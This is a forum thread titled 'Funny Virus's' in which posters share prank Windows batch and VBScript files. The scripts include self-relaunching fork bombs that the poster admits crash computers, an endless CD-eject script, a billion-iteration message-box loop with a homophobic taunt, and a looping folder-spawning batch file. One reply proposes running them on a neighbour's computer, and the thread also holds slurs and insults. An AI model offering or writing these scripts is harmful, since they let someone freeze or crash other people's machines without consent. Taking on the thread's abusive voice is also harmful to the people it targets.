Funny "Virus's"

[Abysal Rush]

NOTE: These are intended as funny jokes. I am not responsible for any damages. (Mainly to disc drives, memory, and crash's)

As some assholes pointed out..

Funny CMDs!


Go into to notepad and type:

"start virus" no quotes

Save it as virus.bat
(Alternative thats not verified:
"start pornfiles"
save as pornfiles.bat)

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Go into notepad and type:

"start
start
start
start
start
start
start
start

clickme.bat

save as clickme.bat

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Go into notepad and type:

"%1 = pwnt"

save as pwnt.bat


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disk open + shut (Never ending)
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Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

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Popups that just seem to annoy( never ending)
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x = 1
WHILE X <= 1000000000
message = msgbox("are you gay?" , 20, "if you dont tell the truth i wont stop")
x = x + 1
WEND
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call this folder.bat
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@echo off
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
:A
start 1
start 2
start 3
start 4
start 5
start 6
start 7
start 8
start folder.bat
goto A

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[cp]

"Virus"? Learn a real programming language you tard.

 

[Abysal Rush]

what?

 

[Abysal Rush]

okay funny CMD's happy?

 

[porman]

leave him alone you cockbags

 

[companion cube]

its not that funny

 

[Swan]

Quite dull and boring - a funny virus is absolute carnage, and the look on the person's face.

 

[Abysal Rush]

I didn't really want to post these types:

Wipes HDD
computer freezing...
Stuff like that..

 

[Xtern]

who ever does that they must be dumb!

 

[g0tg0t]

interesting....il try it on my neighbors comp

 

[wtp]

ah I love these, i wouldent consider them viruses though.

And the shutdown shortcut
http://www.tacktech.com/display.cfm?ttid=316

 

[Abysal Rush]

I know how to make shutdowns and stuff, but I didn't want to post anything too malacious (the second cmd crashes the computer though )